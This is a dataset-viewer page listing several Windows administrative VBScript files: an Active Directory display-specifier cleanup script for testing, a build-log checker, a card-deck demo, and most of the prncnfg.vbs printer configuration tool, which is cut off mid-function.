Search is not available for this dataset
content
stringlengths 0
376M
|
---|
' This script will delete all non-english display specifers in the
' forest the local machine is joined to.
'
' (This is useful for testing a dcpromo.csv file by cleaning out
' the display specifiers container prior to running csvde)
option explicit
on error resume next
const HRESULT_ERROR_DS_NO_SUCH_OBJECT = &H80072030
dim rootDse
set rootDse = GetObject("LDAP://RootDse")
if Err.Number then DumpErrAndQuit
dim configNc
configNc = rootDse.Get("configurationNamingContext")
if Err.Number then DumpErrAndQuit
Echo "configNc = " & configNc
dim displaySpecifiersDn
displaySpecifiersDn = "CN=DisplaySpecifiers," & configNc
' note that 409 is missing from the below list. That's very important!
' 409 is english, and we don't want to delete that.
dim localeIds(22)
localeIds( 0) = "401"
localeIds( 1) = "404"
localeIds( 2) = "405"
localeIds( 3) = "406"
localeIds( 4) = "407"
localeIds( 5) = "408"
localeIds( 6) = "40b"
localeIds( 7) = "40c"
localeIds( 8) = "40d"
localeIds( 9) = "40e"
localeIds(10) = "410"
localeIds(11) = "411"
localeIds(12) = "412"
localeIds(13) = "413"
localeIds(14) = "414"
localeIds(15) = "415"
localeIds(16) = "416"
localeIds(17) = "419"
localeIds(18) = "41d"
localeIds(19) = "41f"
localeIds(20) = "804"
localeIds(21) = "816"
localeIds(22) = "c0a"
dim containerDn
dim container
dim i
for i = 0 to UBound(localeIds)
containerDn = "CN=" & localeIds(i) & "," & displaySpecifiersDn
Echo containerDn
DeleteContainer containerDn
Echo ""
next
sub DeleteContainer(byref containerDn)
on error resume next
set container = GetObject("LDAP://" & containerDn)
if Err.Number = HRESULT_ERROR_DS_NO_SUCH_OBJECT then
Echo "not found"
exit sub
end if
if Err.Number then
DumpErr
exit sub
end if
container.DeleteObject 0
if Err.Number then
DumpErr
exit sub
end if
Echo "deleted"
end sub
sub DumpErr
dim errnum
errnum = Err.Number
Echo "Error 0x" & CStr(Hex(errnum)) & "(" & CStr(errnum) & ") occurred."
if len(Err.Description) then
Echo "Error Description: " & Err.Description
end if
if len(Err.Source) then
Echo "Error Source : " & Err.Source
end if
Echo "ADsError Description: "
Echo adsError.GetErrorMsg(errnum)
end sub
sub Bail(byref message)
Echo "Error: " & message
wscript.quit(0)
end sub
sub Echo(byref message)
wscript.echo message
end sub
|
<reponame>npocmaka/Windows-Server-2003
set fso = CreateObject("Scripting.FileSystemObject")
set rptfile = fso.CreateTextFile("builder\logs\report.txt")
' Check msm/msi build logs
Function CheckVSILog(inputfile)
set logfile = fso.GetFile(inputfile)
set logstream = logfile.OpenAsTextStream
success = False
CheckVSILog = False
do while logstream.AtEndOfStream <> True
linein = logstream.ReadLine()
if InStr(linein, "Build of 'F:\sapi5\build\sp5core\sp5core.wip' succeeded.") > 0 then
success = True
end if
loop
logstream.Close()
if success = True then
rptfile.WriteLine("Build of release MSI successful.")
CheckVSILog = True
end if
end function
' Read through msdev build logs and find errors/warnings
set logfile = fso.GetFile("builder\logs\chkbld.log")
set errfile = fso.CreateTextFile("builder\logs\chkerrs.log", True)
set warnfile = fso.CreateTextFile("builder\logs\chkwarn.log", True)
set logstream = logfile.OpenAsTextStream
errcount = 0
do while logstream.AtEndOfStream <> True
linein = logstream.ReadLine()
if left(linein, 5) = "-----" then
buildstep = linein
elseif InStr(linein, "0 error") > 0 then
' don't do anything here
elseif InStr(linein, "error") > 0 then
errfile.WriteLine(buildstep)
errfile.WriteLine(linein)
errcount = errcount + 1
elseif InStr(linein, "0 warning") > 0 then
' don't do anything here
elseif InStr(linein, "warning") > 0 then
warnfile.WriteLine(buildstep)
warnfile.WriteLine(linein)
warncount = warncount + 1
end if
loop
rptfile.WriteLine("MSDEV debug: total error count = " & errcount)
rptfile.WriteLine("MSDEV debug: total warning count = " & warncount)
logstream.Close()
errfile.Close()
warnfile.Close()
set logfile = fso.GetFile("builder\logs\frebld.log")
set errfile = fso.CreateTextFile("builder\logs\freerrs.log", True)
set warnfile = fso.CreateTextFile("builder\logs\frewarn.log", True)
set logstream = logfile.OpenAsTextStream
errcount = 0
do while logstream.AtEndOfStream <> True
linein = logstream.ReadLine()
if left(linein, 5) = "-----" then
buildstep = linein
elseif InStr(linein, "0 error") > 0 then
' don't do anything here
elseif InStr(linein, "error") > 0 then
errfile.WriteLine(buildstep)
errfile.WriteLine(linein)
errcount = errcount + 1
elseif InStr(linein, "0 warning") > 0 then
' don't do anything here
elseif InStr(linein, "warning") > 0 then
warnfile.WriteLine(buildstep)
warnfile.WriteLine(linein)
warncount = warncount + 1
end if
loop
rptfile.WriteLine("MSDEV release: total error count = " & errcount)
rptfile.WriteLine("MSDEV release: total warning count = " & warncount)
logstream.Close()
errfile.Close()
warnfile.Close()
rptfile.Close()
|
dim pack
set pack = new carddeck
wscript.echo "--before shuffle"
pack.showdeck
pack.shuffle
wscript.echo "--after shuffle"
pack.showdeck
dim card
for i = 1 to 52
set card = pack.deal
next
wscript.echo "--dealt a card, it's the", card.pips, "of", card.suit
wscript.echo "--", pack.cardsRemaining, "cards remaining"
if pack.cardsRemaining <> 0 then
pack.showdeck
end if
|
'----------------------------------------------------------------------
'
' Copyright (c) Microsoft Corporation. All rights reserved.
'
' Abstract:
'
' prncnfg.vbs - printer configuration script for WMI on Whistler used to get
' and set printer configuration also used to rename a printer
'
' Usage:
' prncnfg [-gtx?] [-s server] [-p printer] [-u user name] [-w password]
' [-z new printer name] [-r port name] [-l location] [-m comment]
' [-h share name] [-f sep-file] [-y data-type] [-st start time]
' [-ut until time] [-o priority] [-i default priority]
' [<+|->rawonly][<+|->keepprintedjobs][<+|->queued][<+|->workoffline]
' [<+|->enabledevq][<+|->docompletefirst][<+|->enablebidi]
'
' Examples:
' prncnfg -g -s server -p printer
' prncnfg -x -p printer -w "new Printer"
' prncnfg -t -s server -p Printer -l "Building A/Floor 100/Office 1" -m "Color Printer"
' prncnfg -t -p printer -h "Share" +shared -direct
' prncnfg -t -p printer +rawonly +keepprintedjobs
' prncnfg -t -p printer -st 2300 -ut 0215 -o 10 -i 5
'
'----------------------------------------------------------------------
option explicit
'
' Debugging trace flags, to enable debug output trace message
' change gDebugFlag to true.
'
const kDebugTrace = 1
const kDebugError = 2
dim gDebugFlag
gDebugFlag = false
const kFlagUpdateOnly = 1
'
' Operation action values.
'
const kActionUnknown = 0
const kActionSet = 1
const kActionGet = 2
const kActionRename = 3
const kErrorSuccess = 0
const kErrorFailure = 1
'
' Constants for the parameter dictionary
'
const kServerName = 1
const kPrinterName = 2
const kNewPrinterName = 3
const kShareName = 4
const kPortName = 5
const kDriverName = 6
const kComment = 7
const kLocation = 8
const kSepFile = 9
const kPrintProc = 10
const kDataType = 11
const kParameters = 12
const kPriority = 13
const kDefaultPriority = 14
const kStartTime = 15
const kUntilTime = 16
const kQueued = 17
const kDirect = 18
const kDefault = 19
const kShared = 20
const kNetwork = 21
const kHidden = 23
const kLocal = 24
const kEnableDevq = 25
const kKeepPrintedJobs = 26
const kDoCompleteFirst = 27
const kWorkOffline = 28
const kEnableBidi = 29
const kRawOnly = 30
const kPublished = 31
const kUserName = 32
const kPassword = 33
const kNameSpace = "root\cimv2"
'
' Generic strings
'
const L_Empty_Text = ""
const L_Space_Text = " "
const L_Error_Text = "Error"
const L_Success_Text = "Success"
const L_Failed_Text = "Failed"
const L_Hex_Text = "0x"
const L_Printer_Text = "Printer"
const L_Operation_Text = "Operation"
const L_Provider_Text = "Provider"
const L_Description_Text = "Description"
const L_Debug_Text = "Debug:"
'
' General usage messages
'
const L_Help_Help_General01_Text = "Usage: prncnfg [-gtx?] [-s server][-p printer][-z new printer name]"
const L_Help_Help_General02_Text = " [-u user name][-w password][-r port name][-l location]"
const L_Help_Help_General03_Text = " [-m comment][-h share name][-f sep file][-y datatype]"
const L_Help_Help_General04_Text = " [-st start time][-ut until time][-i default priority]"
const L_Help_Help_General05_Text = " [-o priority][<+|->shared][<+|->direct][<+|->hidden]"
const L_Help_Help_General06_Text = " [<+|->published][<+|->rawonly][<+|->queued][<+|->enablebidi]"
const L_Help_Help_General07_Text = " [<+|->keepprintedjobs][<+|->workoffline][<+|->enabledevq]"
const L_Help_Help_General08_Text = " [<+|->docompletefirst]"
const L_Help_Help_General09_Text = "Arguments:"
const L_Help_Help_General10_Text = "-f - separator file name"
const L_Help_Help_General11_Text = "-g - get configuration"
const L_Help_Help_General12_Text = "-h - share name"
const L_Help_Help_General13_Text = "-i - default priority"
const L_Help_Help_General14_Text = "-l - location string"
const L_Help_Help_General15_Text = "-m - comment string"
const L_Help_Help_General16_Text = "-o - priority"
const L_Help_Help_General17_Text = "-p - printer name"
const L_Help_Help_General18_Text = "-r - port name"
const L_Help_Help_General19_Text = "-s - server name"
const L_Help_Help_General20_Text = "-st - start time"
const L_Help_Help_General21_Text = "-t - set configuration"
const L_Help_Help_General22_Text = "-u - user name"
const L_Help_Help_General23_Text = "-ut - until time"
const L_Help_Help_General24_Text = "-w - password"
const L_Help_Help_General25_Text = "-x - change printer name"
const L_Help_Help_General26_Text = "-y - data type string"
const L_Help_Help_General27_Text = "-z - new printer name"
const L_Help_Help_General28_Text = "-? - display command usage"
const L_Help_Help_General29_Text = "Examples:"
const L_Help_Help_General30_Text = "prncnfg -g -s server -p printer"
const L_Help_Help_General31_Text = "prncnfg -x -s server -p printer -z ""new printer"""
const L_Help_Help_General32_Text = "prncnfg -t -p printer -l ""Building A/Floor 100/Office 1"" -m ""Color Printer"""
const L_Help_Help_General33_Text = "prncnfg -t -p printer -h ""Share"" +shared -direct"
const L_Help_Help_General34_Text = "prncnfg -t -p printer +rawonly +keepprintedjobs"
const L_Help_Help_General35_Text = "prncnfg -t -p printer -st 2300 -ut 0215 -o 1 -i 5"
'
' Messages to be displayed if the scripting host is not cscript
'
const L_Help_Help_Host01_Text = "Please run this script using CScript."
const L_Help_Help_Host02_Text = "This can be achieved by"
const L_Help_Help_Host03_Text = "1. Using ""CScript script.vbs arguments"" or"
const L_Help_Help_Host04_Text = "2. Changing the default Windows Scripting Host to CScript"
const L_Help_Help_Host05_Text = " using ""CScript //H:CScript //S"" and running the script "
const L_Help_Help_Host06_Text = " ""script.vbs arguments""."
'
' General error messages
'
const L_Text_Error_General01_Text = "The scripting host could not be determined."
const L_Text_Error_General02_Text = "Unable to parse command line."
const L_Text_Error_General03_Text = "Win32 error code"
'
' Miscellaneous messages
'
const L_Text_Msg_General01_Text = "Renamed printer"
const L_Text_Msg_General02_Text = "New printer name"
const L_Text_Msg_General03_Text = "Unable to rename printer"
const L_Text_Msg_General04_Text = "Unable to get configuration for printer"
const L_Text_Msg_General05_Text = "Printer always available"
const L_Text_Msg_General06_Text = "Configured printer"
const L_Text_Msg_General07_Text = "Unable to configure printer"
const L_Text_Msg_General08_Text = "Unable to get SWbemLocator object"
const L_Text_Msg_General09_Text = "Unable to connect to WMI service"
const L_Text_Msg_General10_Text = "Printer status"
const L_Text_Msg_General11_Text = "Extended printer status"
const L_Text_Msg_General12_Text = "Detected error state"
const L_Text_Msg_General13_Text = "Extended detected error state"
'
' Printer properties
'
const L_Text_Msg_Printer01_Text = "Server name"
const L_Text_Msg_Printer02_Text = "Printer name"
const L_Text_Msg_Printer03_Text = "Share name"
const L_Text_Msg_Printer04_Text = "Driver name"
const L_Text_Msg_Printer05_Text = "Port name"
const L_Text_Msg_Printer06_Text = "Comment"
const L_Text_Msg_Printer07_Text = "Location"
const L_Text_Msg_Printer08_Text = "Separator file"
const L_Text_Msg_Printer09_Text = "Print processor"
const L_Text_Msg_Printer10_Text = "Data type"
const L_Text_Msg_Printer11_Text = "Parameters"
const L_Text_Msg_Printer12_Text = "Attributes"
const L_Text_Msg_Printer13_Text = "Priority"
const L_Text_Msg_Printer14_Text = "Default priority"
const L_Text_Msg_Printer15_Text = "Start time"
const L_Text_Msg_Printer16_Text = "Until time"
const L_Text_Msg_Printer17_Text = "Status"
const L_Text_Msg_Printer18_Text = "Job count"
const L_Text_Msg_Printer19_Text = "Average pages per minute"
'
' Printer attributes
'
const L_Text_Msg_Attrib01_Text = "direct"
const L_Text_Msg_Attrib02_Text = "raw_only"
const L_Text_Msg_Attrib03_Text = "local"
const L_Text_Msg_Attrib04_Text = "shared"
const L_Text_Msg_Attrib05_Text = "keep_printed_jobs"
const L_Text_Msg_Attrib06_Text = "published"
const L_Text_Msg_Attrib07_Text = "queued"
const L_Text_Msg_Attrib08_Text = "default"
const L_Text_Msg_Attrib09_Text = "network"
const L_Text_Msg_Attrib10_Text = "enable_bidi"
const L_Text_Msg_Attrib11_Text = "do_complete_first"
const L_Text_Msg_Attrib12_Text = "work_offline"
const L_Text_Msg_Attrib13_Text = "hidden"
const L_Text_Msg_Attrib14_Text = "enable_devq_print"
'
' Printer status
'
const L_Text_Msg_Status01_Text = "Other"
const L_Text_Msg_Status02_Text = "Unknown"
const L_Text_Msg_Status03_Text = "Idle"
const L_Text_Msg_Status04_Text = "Printing"
const L_Text_Msg_Status05_Text = "Warmup"
const L_Text_Msg_Status06_Text = "Stopped printing"
const L_Text_Msg_Status07_Text = "Offline"
const L_Text_Msg_Status08_Text = "Paused"
const L_Text_Msg_Status09_Text = "Error"
const L_Text_Msg_Status10_Text = "Busy"
const L_Text_Msg_Status11_Text = "Not available"
const L_Text_Msg_Status12_Text = "Waiting"
const L_Text_Msg_Status13_Text = "Processing"
const L_Text_Msg_Status14_Text = "Initializing"
const L_Text_Msg_Status15_Text = "Power save"
const L_Text_Msg_Status16_Text = "Pending deletion"
const L_Text_Msg_Status17_Text = "I/O active"
const L_Text_Msg_Status18_Text = "Manual feed"
const L_Text_Msg_Status19_Text = "No error"
const L_Text_Msg_Status20_Text = "Low paper"
const L_Text_Msg_Status21_Text = "No paper"
const L_Text_Msg_Status22_Text = "Low toner"
const L_Text_Msg_Status23_Text = "No toner"
const L_Text_Msg_Status24_Text = "Door open"
const L_Text_Msg_Status25_Text = "Jammed"
const L_Text_Msg_Status26_Text = "Service requested"
const L_Text_Msg_Status27_Text = "Output bin full"
const L_Text_Msg_Status28_Text = "Paper problem"
const L_Text_Msg_Status29_Text = "Cannot print page"
const L_Text_Msg_Status30_Text = "User intervention required"
const L_Text_Msg_Status31_Text = "Out of memory"
const L_Text_Msg_Status32_Text = "Server unknown"
'
' Debug messages
'
const L_Text_Dbg_Msg01_Text = "In function RenamePrinter"
const L_Text_Dbg_Msg02_Text = "New printer name"
const L_Text_Dbg_Msg03_Text = "In function GetPrinter"
const L_Text_Dbg_Msg04_Text = "In function SetPrinter"
const L_Text_Dbg_Msg05_Text = "In function ParseCommandLine"
main
'
' Main execution starts here
'
sub main
dim iAction
dim iRetval
dim oParamDict
'
' Abort if the host is not cscript
'
if not IsHostCscript() then
call wscript.echo(L_Help_Help_Host01_Text & vbCRLF & L_Help_Help_Host02_Text & vbCRLF & _
L_Help_Help_Host03_Text & vbCRLF & L_Help_Help_Host04_Text & vbCRLF & _
L_Help_Help_Host05_Text & vbCRLF & L_Help_Help_Host06_Text & vbCRLF)
wscript.quit
end if
set oParamDict = CreateObject("Scripting.Dictionary")
iRetval = ParseCommandLine(iAction, oParamDict)
if iRetval = kErrorSuccess then
select case iAction
case kActionSet
iRetval = SetPrinter(oParamDict)
case kActionGet
iRetval = GetPrinter(oParamDict)
case kActionRename
iRetval = RenamePrinter(oParamDict)
case else
Usage(True)
exit sub
end select
end if
end sub
'
' Rename printer
'
function RenamePrinter(oParamDict)
on error resume next
DebugPrint kDebugTrace, L_Text_Dbg_Msg01_Text
DebugPrint kDebugTrace, L_Text_Msg_Printer01_Text & L_Space_Text & oParamDict.Item(kServerName)
DebugPrint kDebugTrace, L_Text_Msg_Printer02_Text & L_Space_Text & oParamDict.Item(kPrinterName)
DebugPrint kDebugTrace, L_Text_Dbg_Msg02_Text & L_Space_Text & oParamDict.Item(kNewPrinterName)
dim oPrinter
dim oService
dim iRetval
dim uResult
dim strServer
dim strPrinter
dim strNewName
dim strUser
dim strPassword
iRetval = kErrorFailure
strServer = oParamDict.Item(kServerName)
strPrinter = oParamDict.Item(kPrinterName)
strNewName = oParamDict.Item(kNewPrinterName)
strUser = oParamDict.Item(kUserName)
strPassword = oParamDict.Item(kPassword)
if WmiConnect(strServer, kNameSpace, strUser, strPassword, oService) then
set oPrinter = oService.Get("Win32_Printer.DeviceID='" & strPrinter & "'")
else
RenamePrinter = kErrorFailure
exit function
end if
'
' Check if Get was successful
'
if Err.Number = kErrorSuccess then
uResult = oPrinter.RenamePrinter(strNewName)
if Err.Number = kErrorSuccess then
if uResult = kErrorSuccess then
wscript.echo L_Text_Msg_General01_Text & L_Space_Text & strPrinter
wscript.echo L_Text_Msg_General02_Text & L_Space_Text & strNewName
iRetval = kErrorSuccess
else
wscript.echo L_Text_Msg_General03_Text & L_Space_Text & strPrinter & L_Space_Text _
& L_Text_Error_General03_Text & L_Space_Text & uResult
end if
else
wscript.echo L_Text_Msg_General04_Text & L_Space_Text & strPrinter & L_Space_Text _
& L_Error_Text & L_Space_Text & L_Hex_Text & hex(Err.Number) & L_Space_Text _
& Err.Description
end if
else
wscript.echo L_Text_Msg_General04_Text & L_Space_Text & strPrinter & L_Space_Text _
& L_Error_Text & L_Space_Text & L_Hex_Text & hex(Err.Number) & L_Space_Text _
& Err.Description
'
' Try getting extended error information
'
call LastError()
end if
RenamePrinter = iRetval
end function
'
' Get printer configuration
'
function GetPrinter(oParamDict)
on error resume next
DebugPrint kDebugTrace, L_Text_Dbg_Msg03_Text
DebugPrint kDebugTrace, L_Text_Msg_Printer01_Text & L_Space_Text & oParamDict.Item(kServerName)
DebugPrint kDebugTrace, L_Text_Msg_Printer02_Text & L_Space_Text & oParamDict.Item(kPrinterName)
dim oPrinter
dim oService
dim iRetval
dim uResult
dim strServer
dim strPrinter
dim strAttributes
dim strStart
dim strEnd
dim strUser
dim strPassword
iRetval = kErrorFailure
strServer = oParamDict.Item(kServerName)
strPrinter = oParamDict.Item(kPrinterName)
strUser = oParamDict.Item(kUserName)
strPassword = oParamDict.Item(kPassword)
if WmiConnect(strServer, kNameSpace, strUser, strPassword, oService) then
set oPrinter = oService.Get("Win32_Printer='" & strPrinter & "'")
else
GetPrinter = kErrorFailure
exit function
end if
'
' Check if Get was successful
'
if Err.Number = kErrorSuccess then
wscript.echo L_Text_Msg_Printer01_Text & L_Space_Text & strServer
wscript.echo L_Text_Msg_Printer02_Text & L_Space_Text & oPrinter.DeviceID
wscript.echo L_Text_Msg_Printer03_Text & L_Space_Text & oPrinter.ShareName
wscript.echo L_Text_Msg_Printer04_Text & L_Space_Text & oPrinter.DriverName
wscript.echo L_Text_Msg_Printer05_Text & L_Space_Text & oPrinter.PortName
wscript.echo L_Text_Msg_Printer06_Text & L_Space_Text & oPrinter.Comment
wscript.echo L_Text_Msg_Printer07_Text & L_Space_Text & oPrinter.Location
wscript.echo L_Text_Msg_Printer08_Text & L_Space_Text & oPrinter.SeparatorFile
wscript.echo L_Text_Msg_Printer09_Text & L_Space_Text & oPrinter.PrintProcessor
wscript.echo L_Text_Msg_Printer10_Text & L_Space_Text & oPrinter.PrintJobDatatype
wscript.echo L_Text_Msg_Printer11_Text & L_Space_Text & oPrinter.Parameters
wscript.echo L_Text_Msg_Printer13_Text & L_Space_Text & CStr(oPrinter.Priority)
wscript.echo L_Text_Msg_Printer14_Text & L_Space_Text & CStr(oPrinter.DefaultPriority)
strStart = Mid(CStr(oPrinter.StartTime), 9, 4)
strEnd = Mid(CStr(oPrinter.UntilTime), 9, 4)
if strStart <> "" and strEnd <> "" then
wscript.echo L_Text_Msg_Printer15_Text & L_Space_Text & Mid(strStart, 1, 2) & "h" & Mid(strStart, 3, 2)
wscript.echo L_Text_Msg_Printer16_Text & L_Space_Text & Mid(strEnd, 1, 2) & "h" & Mid(strEnd, 3, 2)
else
wscript.echo L_Text_Msg_General05_Text
end if
strAttributes = L_Text_Msg_Printer12_Text
if oPrinter.Direct then
strAttributes = strAttributes + L_Space_Text + L_Text_Msg_Attrib01_Text
end if
if oPrinter.RawOnly then
strAttributes = strAttributes + L_Space_Text + L_Text_Msg_Attrib02_Text
end if
if oPrinter.Local then
strAttributes = strAttributes + L_Space_Text + L_Text_Msg_Attrib03_Text
end if
if oPrinter.Shared then
strAttributes = strAttributes + L_Space_Text + L_Text_Msg_Attrib04_Text
end if
if oPrinter.KeepPrintedJobs then
strAttributes = strAttributes + L_Space_Text + L_Text_Msg_Attrib05_Text
end if
if oPrinter.Published then
strAttributes = strAttributes + L_Space_Text + L_Text_Msg_Attrib06_Text
end if
if oPrinter.Queued then
strAttributes = strAttributes + L_Space_Text + L_Text_Msg_Attrib07_Text
end if
if oPrinter.Default then
strAttributes = strAttributes + L_Space_Text + L_Text_Msg_Attrib08_Text
end if
if oPrinter.Network then
strAttributes = strAttributes + L_Space_Text + L_Text_Msg_Attrib09_Text
end if
if oPrinter.EnableBiDi then
strAttributes = strAttributes + L_Space_Text + L_Text_Msg_Attrib10_Text
end if
if oPrinter.DoCompleteFirst then
strAttributes = strAttributes + L_Space_Text + L_Text_Msg_Attrib11_Text
end if
if oPrinter.WorkOffline then
strAttributes = strAttributes + L_Space_Text + L_Text_Msg_Attrib12_Text
end if
if oPrinter.Hidden then
strAttributes = strAttributes + L_Space_Text + L_Text_Msg_Attrib13_Text
end if
if oPrinter.EnableDevQueryPrint then
strAttributes = strAttributes + L_Space_Text + L_Text_Msg_Attrib14_Text
end if
wscript.echo strAttributes
wscript.echo
wscript.echo L_Text_Msg_General10_Text & L_Space_Text & PrnStatusToString(oPrinter.PrinterStatus)
wscript.echo L_Text_Msg_General11_Text & L_Space_Text & ExtPrnStatusToString(oPrinter.ExtendedPrinterStatus)
wscript.echo L_Text_Msg_General12_Text & L_Space_Text & DetectedErrorStateToString(oPrinter.DetectedErrorState)
wscript.echo L_Text_Msg_General13_Text & L_Space_Text & ExtDetectedErrorStateToString(oPrinter.ExtendedDetectedErrorState)
iRetval = kErrorSuccess
else
wscript.echo L_Text_Msg_General04_Text & L_Space_Text & oParamDict.Item(kPrinterName) & L_Space_Text _
& L_Error_Text & L_Space_Text & L_Hex_Text & hex(Err.Number) & L_Space_Text _
& Err.Description
'
' Try getting extended error information
'
call LastError()
end if
GetPrinter = iRetval
end function
'
' Configure a printer
'
function SetPrinter(oParamDict)
on error resume next
DebugPrint kDebugTrace, L_Text_Dbg_Msg04_Text
DebugPrint kDebugTrace, L_Text_Msg_Printer01_Text & L_Space_Text & oParamDict.Item(kServerName)
DebugPrint kDebugTrace, L_Text_Msg_Printer02_Text & L_Space_Text & oParamDict.Item(kPrinterName)
dim oPrinter
dim oService
dim iRetval
dim uResult
dim strServer
dim strPrinter
dim strUser
dim strPassword
iRetval = kErrorFailure
strServer = oParamDict.Item(kServerName)
strPrinter = oParamDict.Item(kPrinterName)
strNewName = oParamDict.Item(kNewPrinterName)
strUser = oParamDict.Item(kUserName)
strPassword = oParamDict.Item(kPassword)
if WmiConnect(strServer, kNameSpace, strUser, strPassword, oService) then
set oPrinter = oService.Get("Win32_Printer='" & strPrinter & "'")
else
SetPrinter = kErrorFailure
exit function
end if
'
' Check if Get was successful
'
if Err.Number = kErrorSuccess then
if oParamdict.Exists(kPortName) then oPrinter.PortName = oParamDict.Item(kPortName) end if
if oParamdict.Exists(kDriverName) then oPrinter.DriverName = oParamDict.Item(kDriverName) end if
if oParamdict.Exists(kShareName) then oPrinter.ShareName = oParamDict.Item(kShareName) end if
if oParamdict.Exists(kLocation) then oPrinter.Location = oParamDict.Item(kLocation) end if
if oParamdict.Exists(kComment) then oPrinter.Comment = oParamDict.Item(kComment) end if
if oParamdict.Exists(kDataType) then oPrinter.PrintJobDataType = oParamDict.Item(kDataType) end if
if oParamdict.Exists(kSepFile) then oPrinter.SeparatorFile = oParamDict.Item(kSepfile) end if
if oParamdict.Exists(kParameters) then oPrinter.Parameters = oParamDict.Item(kParameters) end if
if oParamdict.Exists(kPriority) then oPrinter.Priority = oParamDict.Item(kPriority) end if
if oParamdict.Exists(kDefaultPriority) then oPrinter.DefaultPriority = oParamDict.Item(kDefaultPriority) end if
if oParamdict.Exists(kPrintProc) then oPrinter.PrintProc = oParamDict.Item(kPrintProc) end if
if oParamdict.Exists(kStartTime) then oPrinter.StartTime = oParamDict.Item(kStartTime) end if
if oParamdict.Exists(kUntilTime) then oPrinter.UntilTime = oParamDict.Item(kUntilTime) end if
if oParamdict.Exists(kQueued) then oPrinter.Queued = oParamDict.Item(kQueued) end if
if oParamdict.Exists(kDirect) then oPrinter.Direct = oParamDict.Item(kDirect) end if
if oParamdict.Exists(kShared) then oPrinter.Shared = oParamDict.Item(kShared) end if
if oParamdict.Exists(kHidden) then oPrinter.Hidden = oParamDict.Item(kHidden) end if
if oParamdict.Exists(kEnabledevq) then oPrinter.EnableDevQueryPrint = oParamDict.Item(kEnabledevq) end if
if oParamdict.Exists(kKeepPrintedJobs) then oPrinter.KeepPrintedJobs = oParamDict.Item(kKeepPrintedJobs) end if
if oParamdict.Exists(kDoCompleteFirst) then oPrinter.DoCompleteFirst = oParamDict.Item(kDoCompleteFirst) end if
if oParamdict.Exists(kWorkOffline) then oPrinter.WorkOffline = oParamDict.Item(kWorkOffline) end if
if oParamdict.Exists(kEnableBidi) then oPrinter.EnableBidi = oParamDict.Item(kEnableBidi) end if
if oParamdict.Exists(kRawonly) then oPrinter.RawOnly = oParamDict.Item(kRawonly) end if
if oParamdict.Exists(kPublished) then oPrinter.Published = oParamDict.Item(kPublished) end if
oPrinter.Put_(kFlagUpdateOnly)
if Err.Number = kErrorSuccess then
wscript.echo L_Text_Msg_General06_Text & L_Space_Text & strPrinter
iRetval = kErrorSuccess
else
wscript.echo L_Text_Msg_General07_Text & L_Space_Text & strPrinter & L_Space_Text _
& L_Error_Text & L_Space_Text & L_Hex_Text & hex(Err.Number) & L_Space_Text _
& Err.Description
'
' Try getting extended error information
'
call LastError()
end if
else
wscript.echo L_Text_Msg_General04_Text & L_Space_Text & strPrinter & L_Space_Text _
& L_Error_Text & L_Space_Text & L_Hex_Text & hex(Err.Number) & L_Space_Text _
& Err.Description
'
' Try getting extended error information
'
call LastError()
end if
SetPrinter = iRetval
end function
'
' Converts the printer status to a string
'
function PrnStatusToString(Status)
dim str
str = L_Empty_Text
select case Status
case 1
str = str + L_Text_Msg_Status01_Text + L_Space_Text
case 2
str = str + L_Text_Msg_Status02_Text + L_Space_Text
case 3
str = str + L_Text_Msg_Status03_Text + L_Space_Text
case 4
str = str + L_Text_Msg_Status04_Text + L_Space_Text
case 5
str = str + L_Text_Msg_Status05_Text + L_Space_Text
case 6
str = str + L_Text_Msg_Status06_Text + L_Space_Text
case 7
str = str + L_Text_Msg_Status07_Text + L_Space_Text
end select
PrnStatusToString = str
end function
'
' Converts the extended printer status to a string
'
function ExtPrnStatusToString(Status)
dim str
str = L_Empty_Text
select case Status
case 1
str = str + L_Text_Msg_Status01_Text + L_Space_Text
case 2
str = str + L_Text_Msg_Status02_Text + L_Space_Text
case 3
str = str + L_Text_Msg_Status03_Text + L_Space_Text
case 4
str = str + L_Text_Msg_Status04_Text + L_Space_Text
case 5
str = str + L_Text_Msg_Status05_Text + L_Space_Text
case 6
str = str + L_Text_Msg_Status06_Text + L_Space_Text
case 7
str = str + L_Text_Msg_Status07_Text + L_Space_Text
case 8
str = str + L_Text_Msg_Status08_Text + L_Space_Text
case 9
str = str + L_Text_Msg_Status09_Text + L_Space_Text
case 10
str = str + L_Text_Msg_Status10_Text + L_Space_Text
case 11
str = str + L_Text_Msg_Status11_Text + L_Space_Text
case 12
str = str + L_Text_Msg_Status12_Text + L_Space_Text
case 13
str = str + L_Text_Msg_Status13_Text + L_Space_Text
case 14
str = str + L_Text_Msg_Status14_Text + L_Space_Text
case 15
str = str + L_Text_Msg_Status15_Text + L_Space_Text
case 16
str = str + L_Text_Msg_Status16_Text + L_Space_Text
case 17
str = str + L_Text_Msg_Status17_Text + L_Space_Text
case 18
str = str + L_Text_Msg_Status18_Text + L_Space_Text
end select
ExtPrnStatusToString = str
end function
'
' Converts the detected error state to a string
'
function DetectedErrorStateToString(Status)
dim str
str = L_Empty_Text
select case Status
case 0
str = str + L_Text_Msg_Status02_Text + L_Space_Text
case 1
str = str + L_Text_Msg_Status01_Text + L_Space_Text
case 2
str = str + L_Text_Msg_Status01_Text + L_Space_Text
case 3
str = str + L_Text_Msg_Status20_Text + L_Space_Text
case 4
str = str + L_Text_Msg_Status21_Text + L_Space_Text
case 5
str = str + L_Text_Msg_Status22_Text + L_Space_Text
case 6
str = str + L_Text_Msg_Status23_Text + L_Space_Text
case 7
str = str + L_Text_Msg_Status24_Text + L_Space_Text
case 8
str = str + L_Text_Msg_Status25_Text + L_Space_Text
case 9
str = str + L_Text_Msg_Status07_Text + L_Space_Text
case 10
str = str + L_Text_Msg_Status26_Text + L_Space_Text
case 11
str = str + L_Text_Msg_Status27_Text + L_Space_Text
end select
DetectedErrorStateToString = str
end function
'
' Converts the extended detected error state to a string
'
function ExtDetectedErrorStateToString(Status)
dim str
str = L_Empty_Text
select case Status
case 0
str = str + L_Text_Msg_Status02_Text + L_Space_Text
case 1
str = str + L_Text_Msg_Status01_Text + L_Space_Text
case 2
str = str + L_Text_Msg_Status01_Text + L_Space_Text
case 3
str = str + L_Text_Msg_Status20_Text + L_Space_Text
case 4
str = str + L_Text_Msg_Status21_Text + L_Space_Text
case 5
str = str + L_Text_Msg_Status22_Text + L_Space_Text
case 6
str = str + L_Text_Msg_Status23_Text + L_Space_Text
case 7
str = str + L_Text_Msg_Status24_Text + L_Space_Text
case 8
str = str + L_Text_Msg_Status25_Text + L_Space_Text
case 9
str = str + L_Text_Msg_Status07_Text + L_Space_Text
case 10
str = str + L_Text_Msg_Status26_Text + L_Space_Text
case 11
str = str + L_Text_Msg_Status27_Text + L_Space_Text
